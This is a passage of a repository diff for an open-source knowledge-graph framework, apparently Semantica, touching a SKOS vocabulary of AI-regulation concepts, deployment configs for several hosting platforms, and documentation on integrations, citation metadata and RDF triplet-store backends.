regv:SafetyImpactingAI
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Safety-Impacting AI"@en ;
|
||||
skos:broader regv:RiskClassification ;
|
||||
skos:definition "AI whose output serves as a principal basis for a decision or action that has the potential to significantly impact the safety of human life or well-being."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10."@en .
|
||||
|
||||
regv:RiskClassification
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Risk Classification"@en ;
|
||||
skos:definition "Categorizing an AI use case by the severity of its potential impact, driving which minimum risk-management practices apply."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10; NIST AI 600-1."@en ;
|
||||
skos:narrower regv:RightsImpactingAI , regv:SafetyImpactingAI .
|
||||
|
||||
regv:ChiefAIOfficer
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Chief AI Officer"@en ;
|
||||
skos:altLabel "CAIO"@en ;
|
||||
skos:definition "The senior official each covered agency must designate to coordinate AI use and governance."@en ;
|
||||
skos:scopeNote "OMB Memorandum M-24-10 (full term); Federal Reserve compliance plan (uses the abbreviation \"CAIO\")."@en .
|
||||
|
||||
# ---- NIST AI 600-1 Generative AI Profile concepts ------------------------
|
||||
# Source: nist_ai_600-1_genai_profile.pdf
|
||||
|
||||
regv:ContentProvenance
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Content Provenance"@en ;
|
||||
skos:definition "Tracking the origin and history of generative-AI content, e.g. via metadata or watermarking, to distinguish it from human-generated content."@en ;
|
||||
skos:scopeNote "NIST AI 600-1."@en .
|
||||
|
||||
regv:Confabulation
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Confabulation"@en ;
|
||||
skos:altLabel "Hallucination"@en ;
|
||||
skos:definition "Confidently produced but erroneous or fabricated content generated by an AI system."@en ;
|
||||
skos:scopeNote "NIST AI 600-1."@en .
|
||||
|
||||
# ---- Sectors --------------------------------------------------------------
|
||||
# Used via reg:appliesToSector on RequirementClause instances.
|
||||
|
||||
regv:Healthcare
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Healthcare"@en ;
|
||||
skos:definition "The healthcare / public health sector."@en ;
|
||||
skos:scopeNote "Sector governed by 45 CFR 164 Subpart C and NIST SP 800-66."@en .
|
||||
|
||||
regv:FinancialServices
|
||||
a skos:Concept ; skos:inScheme regv:RegulatoryTopics ; skos:topConceptOf regv:RegulatoryTopics ;
|
||||
skos:prefLabel "Financial Services"@en ;
|
||||
skos:definition "The financial services sector."@en ;
|
||||
skos:scopeNote "Sector addressed by the Federal Reserve's OMB M-24-10 compliance plan."@en .
|
||||
@@ -9,10 +9,7 @@ flyctl launch --copy-config --config deploy/fly/fly.toml --no-deploy
|
||||
# Fly.io private networking uses .internal hostnames — do not use localhost
|
||||
# unless FalkorDB is a co-located process inside the same Machine.
|
||||
flyctl secrets set FALKORDB_HOST=<falkordb-app-name>.internal FALKORDB_PORT=6379
|
||||
flyctl secrets set SEMANTICA_API_KEY=$(openssl rand -hex 32)
|
||||
flyctl deploy --config deploy/fly/fly.toml
|
||||
```
|
||||
|
||||
Change `app` in `fly.toml` before launch if the default app name is already taken.
|
||||
|
||||
Fly apps get a public `*.fly.dev` URL by default, so `SEMANTICA_API_KEY` is required — without it the Explorer refuses every protected route (503) rather than serving anonymously. Pass the same value as the `X-API-Key` header from any client that talks to the deployed API.
|
||||
|
||||
@@ -9,10 +9,7 @@ railway add --database redis
|
||||
railway variable --set "FALKORDB_HOST=${{Redis.REDISHOST}}"
|
||||
railway variable --set "FALKORDB_PORT=${{Redis.REDISPORT}}"
|
||||
railway variable --set "ALLOWED_ORIGINS=https://${{RAILWAY_PUBLIC_DOMAIN}}"
|
||||
railway variable --set "SEMANTICA_API_KEY=$(openssl rand -hex 32)"
|
||||
railway up
|
||||
```
|
||||
|
||||
The Redis plugin variables are wired to the requested FalkorDB env names for deployment compatibility. The Explorer currently reads these settings but does not persist graph state to FalkorDB.
|
||||
|
||||
Railway exposes this service on a public domain, so `SEMANTICA_API_KEY` is required — without it the Explorer refuses every protected route (503) rather than serving anonymously. Pass the same value as the `X-API-Key` header from any client that talks to the deployed API.
|
||||
|
||||
@@ -9,5 +9,3 @@ render blueprint apply deploy/render/render.yaml
|
||||
```
|
||||
|
||||
After creation, update `ALLOWED_ORIGINS` in the Render dashboard if you attach a custom domain.
|
||||
|
||||
`SEMANTICA_API_KEY` is auto-generated by the blueprint (`generateValue: true`) since this service gets a public `onrender.com` URL — without it the Explorer refuses every protected route (503) rather than serving anonymously. Find the generated value in the Render dashboard's environment tab and pass it as the `X-API-Key` header from any client that talks to the deployed API.
|
||||
|
||||
@@ -20,8 +20,6 @@ services:
|
||||
type: keyvalue
|
||||
name: semantica-explorer-redis
|
||||
property: port
|
||||
- key: SEMANTICA_API_KEY
|
||||
generateValue: true
|
||||
|
||||
- type: keyvalue
|
||||
name: semantica-explorer-redis
|
||||
|
||||
@@ -16,8 +16,6 @@ services:
|
||||
ALLOWED_ORIGINS: http://localhost:5173,http://127.0.0.1:5173,http://localhost:8000,http://127.0.0.1:8000
|
||||
FALKORDB_HOST: falkordb
|
||||
FALKORDB_PORT: "6379"
|
||||
# Local dev only: this compose file is not for public exposure.
|
||||
SEMANTICA_ALLOW_ANONYMOUS: "true"
|
||||
volumes:
|
||||
- ./semantica:/app/semantica
|
||||
- ./pyproject.toml:/app/pyproject.toml:ro
|
||||
|
||||
@@ -8,11 +8,6 @@ services:
|
||||
FALKORDB_HOST: falkordb
|
||||
FALKORDB_PORT: "6379"
|
||||
ALLOWED_ORIGINS: ${ALLOWED_ORIGINS:-http://localhost:8000,http://127.0.0.1:8000}
|
||||
# Required for API access - the Explorer refuses all protected routes
|
||||
# (503) until this is set. Generate one with `openssl rand -hex 32`.
|
||||
SEMANTICA_API_KEY: ${SEMANTICA_API_KEY:-}
|
||||
# Trusted local-only setups only: bypasses the API key entirely.
|
||||
SEMANTICA_ALLOW_ANONYMOUS: ${SEMANTICA_ALLOW_ANONYMOUS:-false}
|
||||
depends_on:
|
||||
falkordb:
|
||||
condition: service_started
|
||||
|
||||
+8
-8
@@ -13,33 +13,33 @@ icon: "quote-left"
|
||||
<Tab title="BibTeX">
|
||||
```bibtex
|
||||
@software{semantica2026,
|
||||
title = {Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems},
|
||||
author = {Semantica},
|
||||
title = {Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering},
|
||||
author = {Hawksight AI},
|
||||
year = {2026},
|
||||
url = {https://github.com/semantica-agi/semantica},
|
||||
version = {0.6.5},
|
||||
version = {0.6.0},
|
||||
doi = {10.5281/zenodo.XXXXXXX}
|
||||
}
|
||||
```
|
||||
</Tab>
|
||||
<Tab title="APA">
|
||||
Semantica. (2026). *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems* (Version 0.6.5) \[Computer software\]. https://github.com/semantica-agi/semantica
|
||||
Hawksight AI. (2026). *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering* (Version 0.6.0) \[Computer software\]. https://github.com/semantica-agi/semantica
|
||||
</Tab>
|
||||
<Tab title="MLA">
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5, GitHub, 2026, https://github.com/semantica-agi/semantica.
|
||||
Hawksight AI. *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering*. Version 0.6.0, GitHub, 2026, https://github.com/semantica-agi/semantica.
|
||||
</Tab>
|
||||
<Tab title="Chicago">
|
||||
Semantica. *Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems*. Version 0.6.5. GitHub, 2026. https://github.com/semantica-agi/semantica.
|
||||
Hawksight AI. *Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering*. Version 0.6.0. GitHub, 2026. https://github.com/semantica-agi/semantica.
|
||||
</Tab>
|
||||
<Tab title="IEEE">
|
||||
Semantica, "Semantica: Graph-Native Infrastructure for Context and Accountable AI Systems," Version 0.6.5, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica
|
||||
Hawksight AI, "Semantica: An Open Source Framework for Semantic Layers and Knowledge Engineering," Version 0.6.0, GitHub, 2026. \[Online\]. Available: https://github.com/semantica-agi/semantica
|
||||
</Tab>
|
||||
</Tabs>
|
||||
|
||||
|
||||
## Acknowledgment Text
|
||||
|
||||
> "This work uses Semantica (2026), an open-source graph-native infrastructure framework for context and accountable AI systems, providing Context Graphs, knowledge graphs, and full decision provenance."
|
||||
> "This work uses Semantica (Hawksight AI, 2026), an open-source framework for semantic layer construction and knowledge engineering."
|
||||
|
||||
|
||||
## Share Your Research
|
||||
|
||||
@@ -16,9 +16,6 @@ At its core, Semantica adds a **context and accountability layer** on top of you
|
||||
- **Accountability Layer** — Provenance tracking, decision intelligence, conflict detection, and W3C PROV-O compliance make every claim in your AI stack auditable and explainable.
|
||||
- **Extension Layer** — `PluginRegistry` and `MethodRegistry` let you replace or augment any component: ingestors, extractors, reasoning engines, backends: without changing framework code.
|
||||
|
||||
<Warning>
|
||||
**This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. In short, Semantica explains and audits *what the AI system did*, not the foundation model's private internal reasoning.
|
||||
</Warning>
|
||||
|
||||
## Knowledge Graphs
|
||||
|
||||
|
||||
@@ -52,6 +52,13 @@ Deep dive into advanced features, customization, and complex workflows.
|
||||
- **[Temporal Knowledge Graphs](https://github.com/semantica-agi/semantica/blob/main/cookbook/advanced/10_Temporal_Knowledge_Graphs.ipynb)** — Modeling and querying data that changes over time. Topics: Time Series, Temporal Logic, Allen Algebra · *Advanced*
|
||||
|
||||
|
||||
## Use Cases
|
||||
|
||||
Self-contained, end-to-end examples built from real public data and real external ontologies, not synthetic samples. Each one is a folder with its own `data/` (source documents + download script) and `ontology/` (vendored real ontologies + a small domain extension) alongside the notebook.
|
||||
|
||||
- **[Regulatory Intelligence](https://github.com/semantica-agi/semantica/blob/main/cookbook/use_cases/regulatory_intelligence/README.md)** — Turns 9 real U.S. federal AI-governance and cybersecurity-regulation documents (NIST AI RMF, NIST CSF 1.1/2.0, HIPAA Security Rule, Executive Order 14110, OMB M-24-10, and more) into an explainable, ontology-driven knowledge graph. Full pipeline: ingestion, chunking every document, automatic entity/relation/triplet extraction across the corpus, ontology import/generation/evaluation, entity resolution, graph construction, SHACL validation, deterministic rule-based reasoning, PROV-O provenance, a persistent RDF database (Oxigraph on disk, plus Semantica's `TripletStore` for a production server), conflict detection, temporal reasoning, SPARQL, JSON-LD, GraphRAG, and a five-agent Decision Intelligence workflow, reusing real W3C ontologies (ORG, PROV-O, SKOS, DCAT, OWL-Time, FRBR). Topics: Regulatory Intelligence, Decision Intelligence, Explainable AI · *Advanced*
|
||||
|
||||
|
||||
## How to Run
|
||||
|
||||
<Steps>
|
||||
|
||||
@@ -102,7 +102,6 @@
|
||||
"group": "Integrations",
|
||||
"pages": [
|
||||
"integrations/agno",
|
||||
"integrations/crewai",
|
||||
"integrations/docling",
|
||||
"integrations/snowflake",
|
||||
"integrations/databricks"
|
||||
|
||||
+1
-11
@@ -17,7 +17,7 @@ icon: "circle-question"
|
||||
| API key required? | Optional: pattern extraction works with no keys |
|
||||
| Works with LangChain / LlamaIndex? | Yes: Semantica is a layer on top, not a replacement |
|
||||
| Production-ready? | Yes: 1,000+ tests, v0.5.0 ships with 12 security fixes |
|
||||
| Latest version? | **v0.6.5** (August 2026) |
|
||||
| Latest version? | **v0.6.0** (July 2026) |
|
||||
| Local LLMs? | Yes: Ollama via LiteLLM, HuggingFaceLLM for air-gapped |
|
||||
|
||||
|
||||
@@ -52,16 +52,6 @@ Semantica works alongside these frameworks, not against them.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Does Semantica explain an LLM's internal reasoning or chain-of-thought?" icon="triangle-exclamation">
|
||||
|
||||
No. This is **system-level explainability, not foundation-model explainability**. Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system.
|
||||
|
||||
What Semantica explains is *outside* the model: what context and data were used, what decision was produced, the provenance behind it, the relevant relationships, the policies applied, and the resulting decision trail.
|
||||
|
||||
In short: Semantica explains and audits *what the AI system did* — not the foundation model's private internal reasoning.
|
||||
|
||||
</Accordion>
|
||||
|
||||
<Accordion title="Is Semantica free?" icon="tag">
|
||||
|
||||
Yes: MIT licensed, no vendor lock-in, no paywalled features. Some capabilities require third-party API keys (e.g., OpenAI embeddings, Groq inference), but Semantica itself is always free and open source.
|
||||
|
||||
@@ -42,7 +42,7 @@ icon: "rocket"
|
||||
Verify installation:
|
||||
```python
|
||||
import semantica
|
||||
print(semantica.__version__) # 0.6.5
|
||||
print(semantica.__version__) # 0.6.0
|
||||
```
|
||||
</Check>
|
||||
</Step>
|
||||
|
||||
+1
-1
@@ -149,7 +149,7 @@ A database optimized for storing and querying graph-structured data using node a
|
||||
A retrieval strategy combining vector similarity search with keyword or metadata filtering: higher accuracy than either approach alone.
|
||||
|
||||
**Triplet Store**
|
||||
A database designed specifically for storing and querying RDF `(subject, predicate, object)` triples. Semantica supports embedded Oxigraph as well as Blazegraph, Apache Jena, and RDF4J.
|
||||
A database designed specifically for storing and querying RDF `(subject, predicate, object)` triples. Semantica supports Blazegraph, Apache Jena, and RDF4J.
|
||||
|
||||
**Vector Store**
|
||||
A database optimized for storing and searching high-dimensional embedding vectors by similarity. Semantica supports FAISS, Pinecone, Weaviate, Qdrant, Milvus, and PgVector.
|
||||
|
||||
+1
-5
@@ -192,11 +192,7 @@ decision_id = context.record_decision(
|
||||
|
||||
## Built for Where Mistakes Have Consequences
|
||||
|
||||
Semantica was designed for domains where every decision must be explainable and every fact must be traceable.
|
||||
|
||||
<Warning>
|
||||
**This is system-level explainability, not foundation-model explainability.** Semantica does not expose, reconstruct, or explain what happens *inside* the LLM/foundation model — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. What Semantica explains is *outside* the model: the context and data fed in, the decision produced, its provenance, the relevant relationships, the policies applied, and the full execution trail. See [Core Concepts](concepts) for the full scope note.
|
||||
</Warning>
|
||||
Semantica was designed for domains where every decision must be explainable and every fact must be traceable:
|
||||
|
||||
**Healthcare & Life Sciences**
|
||||
- Clinical decision support with full audit trails
|
||||
|
||||
@@ -1,147 +0,0 @@
|
||||
---
|
||||
title: "CrewAI Integration"
|
||||
description: "Give CrewAI crews a shared semantic knowledge graph, decision intelligence, and graph-based retrieval via three drop-in components."
|
||||
icon: "users"
|
||||
---
|
||||
|
||||
> Three drop-in components that bring Semantica's knowledge graph and decision intelligence into any CrewAI crew.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
pip install "semantica[crewai]"
|
||||
```
|
||||
|
||||
Requires `crewai >= 0.80.0`. If `crewai` is not installed, the integration still imports — every class carries the full Semantica API and degrades gracefully, but cannot be passed to a `Crew`.
|
||||
|
||||
## Components at a Glance
|
||||
|
||||
- **SemanticaKGTool** — `Agent(tools=[…])`: 5 KG construction/query actions: extract entities, extract relations, add to graph, query graph, find related.
|
||||
- **SemanticaDecisionTool** — `Agent(tools=[…])`: 5 decision intelligence actions: record decisions, find precedents, trace causal chains, analyze impact, check policies.
|
||||
- **SemanticaKnowledgeSource** — `Crew(knowledge_sources=[…])`: Serializes a `ContextGraph` into CrewAI knowledge storage so every agent gets retrieval access to the graph.
|
||||
|
||||
## Component Details
|
||||
|
||||
<Tabs>
|
||||
<Tab title="SemanticaKGTool">
|
||||
Lets agents actively **build and query** a shared `ContextGraph` mid-reasoning.
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKGTool
|
||||
|
||||
graph = ContextGraph()
|
||||
|
||||
analyst = Agent(
|
||||
role="Knowledge Analyst",
|
||||
goal="Build and explore a knowledge graph from documents",
|
||||
backstory="You map entities and relationships into a shared graph.",
|
||||
tools=[SemanticaKGTool(graph=graph)],
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[analyst],
|
||||
tasks=[Task(
|
||||
description="Extract and link key entities from the brief",
|
||||
expected_output="JSON",
|
||||
agent=analyst,
|
||||
)],
|
||||
)
|
||||
crew.kickoff()
|
||||
```
|
||||
|
||||
| Tool | Description |
|
||||
| :------ | :------------- |
|
||||
| `extract_entities` | Extract named entities from `text` |
|
||||
| `extract_relations` | Extract relationships between entities in `text` |
|
||||
| `add_to_graph` | Extract entities/relations from `text` and add them to the shared graph |
|
||||
| `query_graph` | Keyword-search the graph by node id, type, and content using `query` |
|
||||
| `find_related` | Find concepts related to `entity` within `hops` hops |
|
||||
|
||||
All actions return JSON so agents get parseable results.
|
||||
|
||||
**Sharing a graph:** the tool reads/writes whatever `graph` you pass in. When no `graph` is given, a fresh in-memory `ContextGraph()` is created (and a warning is logged) — two tool instances that each auto-create their own graph do **not** share knowledge. Pass the same `ContextGraph` to every agent that must share state.
|
||||
</Tab>
|
||||
<Tab title="SemanticaDecisionTool">
|
||||
Exposes Semantica's decision intelligence as a native CrewAI tool, backed by `AgentContext`.
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from integrations.crewai import SemanticaDecisionTool
|
||||
|
||||
planner = Agent(
|
||||
role="Decision Planner",
|
||||
goal="Make grounded, precedented decisions",
|
||||
backstory="You record decisions and validate them against policy.",
|
||||
tools=[SemanticaDecisionTool()],
|
||||
)
|
||||
|
||||
crew = Crew(agents=[planner], tasks=[...])
|
||||
```
|
||||
|
||||
When no `AgentContext` is passed, one is created in-memory with `decision_tracking=True` and its own `ContextGraph`, so decision actions work out of the box (a warning is logged — pass the same `AgentContext` to every agent that must share decision state). Missing optional fields in `record_decision` fall back to `category="general"`, `reasoning="agent decision"`, and `outcome="recorded"`. `find_precedents` returns up to `max_precedents` results. If a knowledge graph cannot trace causality, `trace_causal_chain` returns an explicit error rather than substituting similarity-based results.
|
||||
|
||||
| Tool | Description |
|
||||
| :------ | :------------- |
|
||||
| `record_decision` | Record a decision with reasoning, outcome, and confidence |
|
||||
| `find_precedents` | Search for similar past decisions |
|
||||
| `trace_causal_chain` | Trace the causal chain from a decision |
|
||||
| `analyze_impact` | Assess downstream influence of a decision |
|
||||
| `check_policy` | Validate a proposed decision against policy rules |
|
||||
</Tab>
|
||||
<Tab title="SemanticaKnowledgeSource">
|
||||
Gives **every agent in the crew** retrieval access to a `ContextGraph`.
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKnowledgeSource
|
||||
|
||||
graph = ContextGraph()
|
||||
graph.add_node(node_id="privacy", node_type="policy", content="...")
|
||||
|
||||
researcher = Agent(
|
||||
role="Policy Researcher",
|
||||
goal="Answer questions from the knowledge base",
|
||||
backstory="You retrieve from graph knowledge to answer accurately.",
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[researcher],
|
||||
tasks=[...],
|
||||
knowledge_sources=[SemanticaKnowledgeSource(graph=graph)],
|
||||
)
|
||||
```
|
||||
|
||||
On kickoff the graph's nodes and edges are serialized, chunked, and stored through CrewAI's knowledge pipeline.
|
||||
|
||||
> **Embedder required:** storing chunks goes through CrewAI's knowledge pipeline, which needs an embedder to be configured. Set `Crew(embedder=...)` (or provide the default credentials CrewAI falls back to, e.g. `OPENAI_API_KEY`). If no working embedder is configured, storage fails, an ERROR is logged, and agents will retrieve **nothing** — the crew still runs, but its knowledge queries return empty.
|
||||
|
||||
**Compatibility:** CrewAI's `BaseKnowledgeSource` contract changed between `0.80.x` and current releases (`load_content()` → `validate_content()`/`aadd()`). `SemanticaKnowledgeSource` implements both legacy and current methods, so it works across `crewai>=0.80.0`.
|
||||
</Tab>
|
||||
</Tabs>
|
||||
|
||||
## Checkpoints & Serialization
|
||||
|
||||
CrewAI serializes tools and knowledge sources to JSON for checkpointing/resume. Live Semantica state (`ContextGraph`, `AgentContext`, extractors) is **excluded from that serialization** — a restored tool/source comes back with a fresh in-memory `ContextGraph` and logs a warning. Until you re-attach the live graph/context, the restored objects answer queries against an **empty** graph, so re-wire them after resuming (e.g. `restored_tool.graph = live_graph`) before agents continue.
|
||||
|
||||
## API Reference
|
||||
|
||||
```python
|
||||
from integrations.crewai import (
|
||||
SemanticaKGTool, # BaseTool: KG construction/query actions
|
||||
SemanticaDecisionTool, # BaseTool: decision intelligence actions
|
||||
SemanticaKnowledgeSource, # BaseKnowledgeSource: graph → crew knowledge
|
||||
CREWAI_AVAILABLE, # bool: True if crewai is installed
|
||||
)
|
||||
```
|
||||
|
||||
All three classes are usable without `crewai` installed: they carry the full Semantica API and degrade gracefully.
|
||||
|
||||
## See Also
|
||||
|
||||
- [Context Module](../reference/context) — AgentContext and ContextGraph backing the integration.
|
||||
- [Semantic Extraction](../reference/semantic_extract) — NERExtractor / RelationExtractor used by SemanticaKGTool.
|
||||
- [LLMs](../reference/llms) — Configure LLM providers for your crew's agents.
|
||||
- [Vector Store](../reference/vector_store) — Vector backend used by SemanticaDecisionTool.
|
||||
+1
-1
@@ -251,7 +251,7 @@ store.add_triplets(subject, predicate, obj)
|
||||
results = store.sparql("SELECT ?s ?p ?o WHERE { ?s ?p ?o }")
|
||||
```
|
||||
|
||||
**Backends:** Oxigraph (embedded), Blazegraph, Apache Jena, RDF4J
|
||||
**Backends:** Blazegraph, Apache Jena, RDF4J
|
||||
|
||||
|
||||
## Quality Assurance
|
||||
|
||||
@@ -203,13 +203,6 @@ export_lpg(graph, "import.cypher", method="cypher")
|
||||
exporter = SemanticNetworkYAMLExporter()
|
||||
exporter.export(graph, "graph.yaml")
|
||||
```
|
||||
|
||||
The YAML exporters read `entities`/`relationships`/`triplets` (with
|
||||
`nodes`/`edges` accepted as aliases, so `ContextGraph.to_dict()` exports
|
||||
directly). A non-empty mapping supplying none of them raises
|
||||
`ValidationError` rather than writing a file with every collection empty,
|
||||
as does one whose collection value is not a list of records
|
||||
(`{"entities": "abc"}`).
|
||||
</Tab>
|
||||
<Tab title="Graph DB Import">
|
||||
**LPGExporter** writes Cypher `CREATE` statements for Neo4j and Memgraph:
|
||||
@@ -243,12 +236,6 @@ export_lpg(graph, "import.cypher", method="cypher")
|
||||
|
||||
Both exporters write to a file and return `None`.
|
||||
|
||||
`LPGExporter`, `ArangoAQLExporter`, and `Neo4jCSVExporter` resolve mapping
|
||||
payloads on the same terms as the YAML exporters above, so an unrecognized
|
||||
or malformed mapping is rejected instead of exported as an empty graph.
|
||||
`Neo4jCSVExporter` still reads graph *objects* off their
|
||||
`nodes`/`entities` and `edges`/`relationships` attributes.
|
||||
|
||||
<Warning>
|
||||
**`ArangoAQLExporter.export()` and `LPGExporter.export()` write to a file and return `None`.** They do not return the AQL/Cypher string. Write to a file and read it back if you need the string.
|
||||
</Warning>
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: "Triplet Store Module"
|
||||
description: "Embedded and server-backed RDF storage with SPARQL queries and bulk loading."
|
||||
description: "RDF triple storage with SPARQL queries and bulk loading: Blazegraph, Apache Jena, and RDF4J."
|
||||
icon: "table"
|
||||
---
|
||||
|
||||
@@ -16,15 +16,14 @@ icon: "table"
|
||||
| `BlazegraphStore` | Blazegraph REST API: SPARQL 1.1 Update, namespace management |
|
||||
| `JenaStore` | Apache Jena: rdflib-backed, SPARQL read support via remote endpoint |
|
||||
| `RDF4JStore` | Eclipse RDF4J: REST API, transaction support |
|
||||
| `OxigraphStore` | Embedded SPARQL 1.1 store with in-memory and on-disk modes |
|
||||
|
||||
## What You Get
|
||||
|
||||
- **TripletStore** — Unified interface across embedded Oxigraph, Blazegraph, Apache Jena, and RDF4J: swap backends with one parameter.
|
||||
- **TripletStore** — Unified interface across Blazegraph, Apache Jena, and RDF4J: swap backends with one parameter.
|
||||
- **SPARQL** — Full SPARQL SELECT, ASK, CONSTRUCT, and UPDATE query support via `execute_query()`.
|
||||
- **Bulk Loading** — `add_triplets()` batches writes with configurable batch size, retry logic, and progress tracking.
|
||||
- **SKOS Vocabulary** — Built-in helpers: `add_skos_concept()` and `get_skos_concepts()` for controlled vocabulary management.
|
||||
- **Named Graphs** — Oxigraph, Blazegraph, and RDF4J support named graph scoping via `graph=` on `execute_query()`.
|
||||
- **Named Graphs** — Blazegraph and RDF4J support named graph scoping via `graph=` on `execute_query()`.
|
||||
- **Delta Computation** — `compute_delta(old_graph_uri, new_graph_uri)` returns added and removed triples between two named graph snapshots.
|
||||
|
||||
## Getting Started
|
||||
@@ -118,25 +117,6 @@ for row in result.bindings:
|
||||
## Backends
|
||||
|
||||
<Tabs>
|
||||
<Tab title="Oxigraph">
|
||||
```bash
|
||||
pip install "semantica[tripletstore-oxigraph]"
|
||||
```
|
||||
|
||||
```python
|
||||
# In-memory: no server process or files required
|
||||
store = TripletStore(backend="oxigraph")
|
||||
|
||||
# Persistent: reopen the same directory to reuse the data
|
||||
persistent_store = TripletStore(
|
||||
backend="oxigraph",
|
||||
path="./data/knowledge-graph",
|
||||
)
|
||||
```
|
||||
|
||||
**Best for:** local development, CI, desktop applications, and persistent
|
||||
single-process workloads without external infrastructure.
|
||||
</Tab>
|
||||
<Tab title="Blazegraph">
|
||||
```bash
|
||||
pip install requests
|
||||
@@ -192,7 +172,6 @@ for row in result.bindings:
|
||||
|
||||
| Backend | License | Named Graphs | Write via | Best For |
|
||||
| :------- | :------- | :------------ | :--------- | :-------- |
|
||||
| Oxigraph | Apache 2.0 / MIT | Yes | Embedded native API | Local, CI, on-disk |
|
||||
| Blazegraph | Open source | Yes | SPARQL Update REST | High triple count, SPARQL 1.1 |
|
||||
| Apache Jena | Apache 2.0 | No (rdflib backend) | rdflib in-process | Local dev, read queries |
|
||||
| RDF4J | Eclipse 1.0 | Yes | REST API N-Triples | Enterprise Java, transactions |
|
||||
@@ -201,9 +180,7 @@ for row in result.bindings:
|
||||
</Tabs>
|
||||
|
||||
<Tip>
|
||||
**Use Oxigraph for zero-infrastructure development and local persistence.**
|
||||
Switch to a server-backed store for distributed production deployments by
|
||||
changing `backend=`.
|
||||
**Use Apache Jena for development, Blazegraph for production.** Jena initializes with rdflib in-memory: no server required for local testing. Switch to Blazegraph for high-throughput persistent workloads by changing `backend=`.
|
||||
</Tip>
|
||||
|
||||
## Triplet Object
|
||||
@@ -387,10 +364,10 @@ while True:
|
||||
|
||||
## Named Graph Scoping
|
||||
|
||||
Oxigraph, Blazegraph, and RDF4J support named graphs. Scope `execute_query()` to a named graph with the `graph=` parameter:
|
||||
Blazegraph and RDF4J support named graphs. Scope `execute_query()` to a named graph with the `graph=` parameter:
|
||||
|
||||
```python
|
||||
# Add a triplet to a named graph
|
||||
# Add a triplet: named graph stored in metadata or backend-specific API
|
||||
from semantica.semantic_extract.types import Triplet
|
||||
|
||||
t = Triplet(
|
||||
@@ -398,7 +375,7 @@ t = Triplet(
|
||||
predicate="http://example.org/p",
|
||||
object="http://example.org/b",
|
||||
)
|
||||
store.add_triplet(t, graph="http://example.org/graph1")
|
||||
store.add_triplet(t) # named graph targeting requires backend-specific API
|
||||
|
||||
# Query a named graph via FROM clause in SPARQL
|
||||
result = store.execute_query("""
|
||||
@@ -416,14 +393,11 @@ result = store.execute_query("""
|
||||
```
|
||||
|
||||
<Note>
|
||||
Named graph query scoping is available for Oxigraph, Blazegraph, and RDF4J.
|
||||
The `graph=` query parameter is silently ignored for the Jena backend.
|
||||
Named graph support is only available for Blazegraph and RDF4J backends. The `graph=` parameter is silently ignored for the Jena backend.
|
||||
</Note>
|
||||
|
||||
<Tip>
|
||||
**Use named graphs to isolate sources.** Pass `graph="http://example.org/source_A"`
|
||||
to writes and `execute_query()` to scope both storage and retrieval. Oxigraph,
|
||||
Blazegraph, and RDF4J support named graph query scoping.
|
||||
**Use named graphs to isolate sources.** Pass `graph="http://example.org/source_A"` to `execute_query()` to scope a query to a specific named graph. Blazegraph and RDF4J support named graphs; Jena (rdflib backend) does not.
|
||||
</Tip>
|
||||
|
||||
## Bulk Loading
|
||||
|
||||
Generated
+3
-3
@@ -2293,9 +2293,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/dompurify": {
|
||||
"version": "3.4.13",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.13.tgz",
|
||||
"integrity": "sha512-2vmYIoqjze2d+kakP8S/nS5shfsl587kzwEjcGlTdiksUVgFHnFCsLYDVj/JNqJVOQZGSYBTmuycv0PodwmnMQ==",
|
||||
"version": "3.4.12",
|
||||
"resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.12.tgz",
|
||||
"integrity": "sha512-zQvGet8Z2sWbQhCmfFz/T5QWH2oBmjnqK3qvOjaqaNLrLEF912WamU+ohnTp0TCep/MFVHpdJuCZEdFOdTnEFg==",
|
||||
"license": "(MPL-2.0 OR Apache-2.0)",
|
||||
"peer": true,
|
||||
"optionalDependencies": {
|
||||
|
||||
@@ -9,8 +9,7 @@
|
||||
"lint": "eslint .",
|
||||
"preview": "vite preview",
|
||||
"test:graph-store": "node --test tests/graphStore.multi-edge.test.mjs",
|
||||
